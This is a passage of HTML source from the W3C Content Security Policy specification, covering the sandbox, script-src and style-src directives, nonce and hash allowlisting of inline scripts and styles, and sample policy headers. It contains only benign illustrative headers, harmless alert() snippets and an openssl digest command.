directive, the user agent\n    MUST <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#parse-a-sandboxing-directive\">parse a sandboxing directive</a> using the\n    <code>directive-value</code> as the <em>input</em> and protected\n    resource’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#forced-sandboxing-flag-set\">forced sandboxing flag set</a>\n    as the output. <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a></p>\n     \n\n\n     <p>The <code>sandbox</code> directive will be ignored when <a data-link-type=\"dfn\" href=\"#monitor\">monitoring</a>\n    a policy, and when contained in a policy defined via a\n    <a href=\"#delivery-html-meta-element\"><code>meta</code> element</a>.\n    Moreover, this directive has no effect when <a data-link-type=\"dfn\" href=\"#monitor\">monitored</a>, and has no\n    reporting requirements.</p>\n     \n\n    \n     <h4 class=\"heading settled\" data-level=\"7.14.1\" id=\"sandboxing-and-workers\"><span class=\"secno\">7.14.1. </span><span class=\"content\">Sandboxing and Workers</span><a class=\"self-link\" href=\"#sandboxing-and-workers\"></a></h4>\n     \n\n\n     <p>When delivered via an HTTP header, a Content Security Policy may indicate\n    that sandboxing flags ought to be applied to a JavaScript execution\n    environment that is not a <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/dom/#interface-document\">Document</a></code>. Of particular interest is the\n    script content intended for use as a Worker, Shared Worker, or Service\n    Worker. Many of the sandboxing flags do not apply to such environments, but\n    <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a> and\n    <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-same-origin\">allow-same-origin</a> have special\n    requirements.</p>\n     \n\n\n     <p>When a resource is loaded while executing the <a data-link-type=\"dfn\" href=\"#runs-a-worker\">runs a\n    <code>Worker</code></a> algorithm, the user agent MUST act as if there was\n    a fatal network error and no resource could be obtained if either of the\n    following conditions holds:</p>\n     \n\n    \n     <ol>\n      \n      <li>\n        The <code><a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></code> directive delivered with the resource\n        does <em>not</em> contain the\n        <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a> flag.\n      \n      \n      \n      <li>\n        The <code><a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></code> directive delivered with the resource\n        does <em>not</em> contain the\n        <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-same-origin\">allow-same-origin</a> flag, <em>and</em>\n        the creation of the new execution context requires it to be same-origin\n        with its creating context.\n      \n      \n    \n     </ol>\n     \n\n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.14.2\" id=\"sandbox-usage\"><span class=\"secno\">7.14.2. </span><span class=\"content\">Usage</span><a class=\"self-link\" href=\"#sandbox-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n      \n      <p>HTML5 defines a <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-iframe-sandbox\">sandbox</a></code> attribute for\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> elements, intended to allow web authors\n      to reduce the risk of including potentially untrusted content by imposing\n      restrictions on that content’s abilities. When the attribute is set,\n      the content is forced into a unique origin, prevented from submitting\n      forms, running script, creating or navigating other browsing contexts,\n      and prevented from running plugins. These restrictions can be loosened\n      by setting certain flags as the attribute’s value.\n\n</p>\n      <p>The <code>sandbox</code> directive allows any resource, framed or\n      not, to ask for the same sorts of restrictions to be applied to\n      itself.</p>\n      \n\n\n      <p>For example, a message board or email system might provide\n      downloads of arbitrary attachments provided by other users. Attacks\n      that rely on tricking a client into rendering one of these attachments\n      could be mitigated by requesting that resources only be rendered in a\n      very restrictive sandbox. Sending the <code>sandbox</code> directive\n      with an empty value establishes such an environment:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></pre>\n      \n\n\n      <p>More trusted resources might be allowed to run in an environment\n      with fewer restrictions by adding <code>allow-*</code> flags to the\n      directive’s value. For example, you can allow a page that you trust\n      to run script, while ensuring that it isn’t treated as same-origin\n      with the rest of your site. This can be accomplished by sending the\n      <code>sandbox</code> directive with the\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a></code> flag:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a> <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a></pre>\n      \n\n\n      <p>The set of flags available to the CSP directive should match those\n      available to the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> attribute.\n      Currently, those include:</p>\n      \n\n      \n      <ul>\n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-forms\">allow-forms</a></code>\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-pointer-lock\">allow-pointer-lock</a></code>\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-popups\">allow-popups</a></code>\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-same-origin\">allow-same-origin</a></code>\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a></code>, and\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-top-navigation\">allow-top-navigation</a></code>\n       \n      \n      </ul>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: Like the rest of Content Security Policy, the <code>sandbox</code>\n      directive is meant as a defense-in-depth. Web authors would be well-served\n      to use it <em>in addition to</em> standard sniffing-mitigation and\n      privilege-reduction techniques.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.15\" id=\"directive-script-src\"><span class=\"secno\">7.15. </span><span class=\"content\"><code>script-src</code></span><a class=\"self-link\" href=\"#directive-script-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"script_src\">script-src<a class=\"self-link\" href=\"#script_src\"></a></dfn></code> directive restricts which scripts the\n    protected resource can execute. The directive also controls other resources,\n    such as XSLT style sheets <a data-link-type=\"biblio\" href=\"#biblio-xslt\">[XSLT]</a>, which can cause the user agent to\n    execute script. The syntax for the name and value of the directive are\n    described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"script-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-script-sources\">allowed script sources<a class=\"self-link\" href=\"#allowed-script-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>script-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>script-src</code>, or otherwise to the <a data-link-type=\"dfn\" href=\"#default-sources\">default\n    sources</a>.</p>\n     \n\n\n     <p>If <code>'unsafe-inline'</code> is <strong>not</strong> in the\n    list of <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script sources</a>, or if at least one\n    <code><a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a></code> or <code><a data-link-type=\"dfn\" href=\"#hash_source\">hash-source</a></code> is\n    present in the list of <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script sources</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Whenever the user agent would execute an inline script from a\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element that lacks a <a data-link-type=\"dfn\" href=\"#valid-nonce\">valid nonce</a>\n      <em>and</em> lacks a <a data-link-type=\"dfn\" href=\"#valid-hash\">valid hash</a> for the <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script\n      sources</a>, instead the user agent MUST NOT execute script, <em>and</em>\n      MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>.\n      \n\n      \n      <li>Whenever the user agent would execute an inline script from an\n      inline event handler, instead the user agent MUST NOT execute script,\n      <em>and</em> MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>.\n      \n\n      \n      <li>Whenever the user agent would execute script contained in a\n      <code>javascript</code> URL, instead the user agent MUST NOT execute\n      the script, <em>and</em> MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>.\n      \n    \n     </ul>\n     \n\n\n     <p>If <code>'unsafe-eval'</code> is <strong>not</strong> in <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script\n    sources</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Instead of evaluating their arguments, both operator\n      <code>eval</code> and function <code>eval</code> <a data-link-type=\"biblio\" href=\"#biblio-ecma-262\">[ECMA-262]</a>\n      MUST throw an <code>EvalError</code> exception.\n      \n\n      \n      <li>When called as a constructor, the function <code>Function</code>\n      <a data-link-type=\"biblio\" href=\"#biblio-ecma-262\">[ECMA-262]</a> MUST throw an <code>EvalError</code> exception.\n      \n\n      \n      <li>When called with a first argument that is not <a data-link-type=\"dfn\" href=\"#callable\">callable</a> (a\n      string, for example), the\n      <code><a class=\"idl-code\" data-link-type=\"method\" href=\"http://www.w3.org/TR/html5/webappapis.html#dom-windowtimers-settimeout\">setTimeout()</a></code> function MUST\n      return zero without creating a timer.\n      \n\n      \n      <li>When called with a first argument that is not <a data-link-type=\"dfn\" href=\"#callable\">callable</a> (a\n      string, for example), the\n      <code><a class=\"idl-code\" data-link-type=\"method\" href=\"http://www.w3.org/TR/html5/webappapis.html#dom-windowtimers-setinterval\">setInterval()</a></code> function MUST\n      return zero without creating a timer.\n      \n    \n     </ul>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL (including when following\n    redirects) in the course of one of the following activities, if the URL does\n    not <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script\n    sources</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if\n    there was a fatal network error and no resource was obtained, <em>and</em>\n    <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting a script while processing the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/scripting-1.html#attr-script-src\">src</a></code> attribute of\n      a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element that lacks a <a data-link-type=\"dfn\" href=\"#valid-nonce\">valid nonce</a> for the <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed\n      script sources</a>.\n      \n\n      \n      <li>Requesting a script while invoking the <code>importScripts</code>\n      method on a WorkerGlobalScope object. <a data-link-type=\"biblio\" href=\"#biblio-workers\">[WORKERS]</a>\n      \n\n      \n      <li>Requesting an HTML component, such as\n      when processing the <code>href</code> attribute of a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code>\n      element with a <code>rel</code> attribute containing the token\n      <code>import</code>. <a data-link-type=\"biblio\" href=\"#biblio-html-imports\">[HTML-IMPORTS]</a>\n      \n\n      \n      <li>Requesting an Extensible Stylesheet Language Transformations\n      (XSLT) <a data-link-type=\"biblio\" href=\"#biblio-xslt\">[XSLT]</a>, such as when processing the\n      <code>&lt;?xml-stylesheet?></code> processing directive in an XML\n      document <a data-link-type=\"biblio\" href=\"#biblio-xml11\">[XML11]</a>, the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-link-href\">href</a></code> attributes\n      on <code>&lt;xsl:include></code> and <code>&lt;xsl:import></code>\n      elements.\n      \n    \n     </ul>\n     \n\n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.15.1\" id=\"script-src-nonce-usage\"><span class=\"secno\">7.15.1. </span><span class=\"content\">\n        Nonce usage for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements\n      </span><a class=\"self-link\" href=\"#script-src-nonce-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>The <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> directive lets developers specify\n      exactly which script elements on a page were intentionally included\n      for execution. Ideally, developers would avoid inline script entirely\n      and whitelist scripts by URL. However, in some cases, removing inline\n      scripts can be difficult or impossible. For those cases, developers can\n      whitelist scripts using a randomly generated nonce.</p>\n      \n\n\n      <p>Usage is straightforward. For <em>each</em> request, the server\n      generates a unique value at random, and includes it in the\n      <code>Content-Security-Policy</code> header:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self';\n                         <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self' https://example.com 'nonce-<em>$RANDOM</em>'\n</pre>\n      \n\n\n      <p>This same value is then applied as a <code>nonce</code> attribute\n      to each <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element that ought to be\n      executed. For example, if the server generated the random value\n      <code>Nc3n83cnSAd3wc3Sasdfn939hc3</code>,  the server would send the\n      following policy:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self';\n                         <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self' https://example.com 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'\n</pre>\n      \n\n\n      <p>Script elements can then execute either because their <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/scripting-1.html#attr-script-src\">src</a></code> URLs\n      are whitelisted or because they have a <a data-link-type=\"dfn\" href=\"#valid-nonce\">valid nonce</a>:</p>\n      \n\n      \n      <pre>&lt;script>\nalert(\"Blocked because the policy doesn’t have 'unsafe-inline'.\")\n&lt;/script>\n\n&lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\">\nalert(\"Still blocked because nonce is wrong.\")\n&lt;/script>\n\n&lt;script nonce=\"Nc3n83cnSAd3wc3Sasdfn939hc3\">\nalert(\"Allowed because nonce is valid.\")\n&lt;/script>\n\n&lt;script src=\"https://example.com/allowed-because-of-src.js\">&lt;/script>\n\n&lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\"\n    src=\"https://elsewhere.com/blocked-because-nonce-is-wrong.js\">&lt;/script>\n\n&lt;script nonce=\"Nc3n83cnSAd3wc3Sasdfn939hc3\"\n    src=\"https://elsewhere.com/allowed-because-nonce-is-valid.js\">&lt;/script>\n</pre>\n      \n\n\n      <p>Note that the nonce’s value is <em>not</em> a hash or signature\n      that verifies the contents of the script resources. It’s quite simply\n      a random string that informs the user agent which scripts were\n      intentionally included in the page.</p>\n      \n\n\n      <p>Script elements with the proper nonce execute, regardless of\n      whether they’re inline or external. Script elements without the\n      proper nonce don’t execute unless their URLs are whitelisted.\n      Even if an attacker is able to inject markup into the protected\n      resource, the attack will be blocked by the attacker’s inability\n      to guess the random value.</p>\n      \n    \n     </section>\n     \n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.15.2\" id=\"script-src-hash-usage\"><span class=\"secno\">7.15.2. </span><span class=\"content\">\n        Hash usage for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements\n      </span><a class=\"self-link\" href=\"#script-src-hash-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>The <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> directive lets developers whitelist a\n      particular inline script by specifying its hash as an allowed source\n      of script.</p>\n      \n\n\n      <p>Usage is straightforward. The server computes the hash of a\n      particular script block’s contents, and includes the base64 encoding\n      of that value in the <code>Content-Security-Policy</code> header:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self';\n                         <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self' https://example.com 'sha256-<var>base64 encoded hash</var>'\n</pre>\n      \n\n\n      <p>Each inline script block’s contents are hashed, and compared against\n      the whitelisted value. If there’s a match, the script is executed. For\n      example, the SHA-256 digest of <code>alert('Hello, world.');</code> is\n      <code>qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=</code>.</p>\n      \n\n      \n      <div class=\"example\" id=\"example-f54407db\"><a class=\"self-link\" href=\"#example-f54407db\"></a>\n        You can obtain the digest of a string on the command line simply\n        via the <code>openssl</code> program. For example:\n\n        \n       <pre>echo -n \"alert('Hello, world.');\" | openssl dgst -sha256 -binary | openssl enc -base64\n</pre>\n       \n      \n      </div>\n      \n\n\n      <p>If the server sent the following header:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'sha512-YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo='\n</pre>\n      \n\n\n      <p>Then the following script tag would result in script execution:</p>\n      \n\n      \n      <pre>&lt;script>alert('Hello, world.');&lt;/script>\n</pre>\n      \n\n\n      <p>Whitespace is significant. The following scripts blocks would not hash to\n      the same value, and would therefore <em>not</em> execute:</p>\n      \n\n      \n      <pre>&lt;script> alert('Hello, world.');&lt;/script>\n&lt;script>alert('Hello, world.'); &lt;/script>\n&lt;script> alert('Hello, world.'); &lt;/script>\n&lt;script>\nalert('Hello, world.');\n&lt;/script>\n</pre>\n      \n\n\n      <p>Note also that the hash applies <em>only</em> to inline script. An\n      externalized script containing the value\n      <code>alert('Hello, world.');</code> would <em>not</em> execute if its\n      origin was not whitelisted as a valid source of script.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.16\" id=\"directive-style-src\"><span class=\"secno\">7.16. </span><span class=\"content\"><code>style-src</code></span><a class=\"self-link\" href=\"#directive-style-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"style_src\">style-src<a class=\"self-link\" href=\"#style_src\"></a></dfn></code> directive restricts which styles the\n    user may applies to the protected resource. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"style-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-style-sources\">allowed style sources<a class=\"self-link\" href=\"#allowed-style-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>style-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>style-src</code>, or otherwise to the <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>If <code>'unsafe-inline'</code> is <strong>not</strong> in the\n    list of <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style sources</a>, or if at least one\n    <code><a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a></code> or <code><a data-link-type=\"dfn\" href=\"#hash_source\">hash-source</a></code>\n    is present in the list of <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style sources</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Whenever the user agent would apply style from a\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> element that lacks a\n      <a data-link-type=\"dfn\" href=\"#valid-nonce\">valid nonce</a> <em>and</em> lacks a <a data-link-type=\"dfn\" href=\"#valid-hash\">valid hash</a> for the\n      <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style sources</a>, instead the user agent <code>MUST</code>\n      ignore the style, <em>and</em> MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>.\n      \n\n      \n      <li>Whenever the user agent would apply style from a\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> attribute, instead the user agent\n      <code>MUST</code> ignore the style, <em>and</em> MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n      violation</a>.\n      \n    \n     </ul>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: These restrictions on inline do not prevent the user agent\n    from applying style from an external stylesheet (e.g., found via\n    <code>&lt;link rel=\"stylesheet\" ...></code>).</p>\n     \n\n\n     <p>If <code>'unsafe-eval'</code> is <strong>not</strong> in <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style\n    sources</a>, then:</p>\n     \n\n    \n     <ul>\n      \n      <li>Whenever the user agent would invoke the Cascading Style Sheets\n      Object Model algorithms\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/cssom/#insert-a-css-rule\">insert a CSS rule</a>, <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/cssom/#parse-a-css-rule\">parse a CSS rule</a>,\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/cssom/#parse-a-css-declaration-block\">parse a CSS declaration block</a>, or\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/cssom/#parse-a-group-of-selectors\">parse a group of selectors</a>\n      instead the user agent MUST throw a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#securityerror\">SecurityError</a>\n      exception <em>and</em> terminate the algorithm. This would include,\n      for example, all invocations of CSSOM’s various <code>cssText</code>\n      setters and <code>insertRule</code> methods. <a data-link-type=\"biblio\" href=\"#biblio-cssom\">[CSSOM]</a> <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a>\n      \n    \n     </ul>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was\n    a fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report\n    a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>\n        Requesting an external stylesheet when processing the\n        <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-link-href\">href</a> of a <a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a> element\n        whose <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-link-rel\">rel</a> attribute contains the token\n        <code><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/links.html#link-type-stylesheet\">stylesheet</a></code>.\n      \n      \n      \n      <li>\n        Requesting an external stylesheet when processing the &lt;&lt;@import>>\n        directive.\n      \n      \n      \n      <li>\n        Requesting an external stylesheet when processing a <code>Link</code>\n        HTTP response header field <a data-link-type=\"biblio\" href=\"#biblio-rfc5988\">[RFC5988]</a>.\n\n\n       <p class=\"note\" role=\"note\">Note: As this stylesheet might be prefetched before a <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/dom/#interface-document\">Document</a></code>\n        actually exists, user agents will need to carefully consider how to\n        instantiate a meaningful <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> against which to compare this\n        request. See <a href=\"#complications\">§10.1 Processing Complications</a> for more detail.</p>\n       \n      \n      \n    \n     </ul>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The <code>style-src</code> directive does not restrict the\n    use of XSLT. XSLT is restricted by the <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code>\n    directive because the security consequences of including an untrusted\n    XSLT stylesheet are similar to those incurred by including an\n    untrusted script.</p>\n     \n\n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.16.1\" id=\"style-src-nonce-usage\"><span class=\"secno\">7.16.1. </span><span class=\"content\">\n        Nonce usage for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements\n      </span><a class=\"self-link\" href=\"#style-src-nonce-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>See the <a href=\"#script-src-nonce-usage\"><code>script-src</code>\n      nonce usage information</a> for detail; the application of nonces\n      to <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements is similar enough to avoid\n      repetition here.</p>\n      \n    \n     </section>\n     \n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.16.2\" id=\"style-src-hash-usage\"><span class=\"secno\">7.16.2. </span><span class=\"content\">\n        Hash usage for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements\n      </span><a class=\"self-link\" href=\"#style-src-hash-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>See the <a href=\"#script-src-hash-usage\"><code>script-src</code>\n      hash usage information</a> for detail; the application of hashes\n      to <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements is similar enough to avoid\n      repetition here.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"8\" id=\"examples\"><span class=\"secno\">8. </span><span class=\"content\">Examples</span><a class=\"self-link\" href=\"#examples\"></a></h2>\n\n  \n    <section class=\"informative\">\n    \n     <h3 class=\"heading settled\" data-level=\"8.1\" id=\"example-policies\"><span class=\"secno\">8.1. </span><span class=\"content\">Sample Policy Definitions</span><a class=\"self-link\" href=\"#example-policies\"></a></h3>\n     \n\n\n     <p>This section provides some sample use cases and supporting <a data-link-type=\"dfn\" href=\"#security-policy\">policies</a>.</p>\n     \n\n    \n     <div class=\"example\" id=\"example-f62636cb\"><a class=\"self-link\" href=\"#example-f62636cb\"></a>\n      A server wishes to load resources only from its own origin:\n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'</pre>\n      \n    \n     </div>\n     \n\n    \n     <div class=\"example\" id=\"example-60f388c8\"><a class=\"self-link\" href=\"#example-60f388c8\"></a>\n      An auction site wishes to load images from any URL, plugin content from a\n      list of trusted media providers (including a content distribution network),\n      and scripts only from a server under its control hosting sanitized\n      ECMAScript:\n\n      \n      <pre>Content-Security-Policy:\n    <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'; img-src *;\n    <a data-link-type=\"dfn\" href=\"#object_src\">object-src</a> media1.example.com media2.example.com *.cdn.example.com;\n    <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> trustedscripts.example.com\n</pre>\n      \n    \n     </div>\n     \n\n    \n     <div class=\"example\" id=\"example-d8347684\"><a class=\"self-link\" href=\"#example-d8347684\"></a>\n      An online banking site wishes to ensure that all of the content in its pages\n      is loaded over TLS to prevent attackers from eavesdropping on insecure\n      content requests:\n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> https: 'unsafe-inline' 'unsafe-eval'</pre>\n      \n\n\n      <p>This policy allows inline content (such as inline\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements), use of <code>eval</code>,\n      and loading resources over <code>https</code>. Note: This policy does\n      not provide any protection from cross-site scripting vulnerabilities.</p>\n      \n    \n     </div>\n     \n\n    \n     <div class=\"example\" id=\"example-a287d03d\"><a class=\"self-link\" href=\"#example-a287d03d\"></a>\n      A website that relies on inline <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements\n      wishes to ensure that script is only executed from its own origin, and those\n      elements it intentionally inserted inline:\n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self' 'nonce-<em>$RANDOM</em>';</pre>\n      \n\n\n      <p>The inline <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements would then only\n      execute if they contained a matching\n      <code><a data-link-type=\"element-attr\" href=\"#element-attrdef-script-nonce\">nonce</a></code> attribute:</p>\n      \n\n\n      <pre>&lt;script nonce=\"<em>$RANDOM</em>\">...&lt;/script></pre>\n      \n    \n     </div>\n  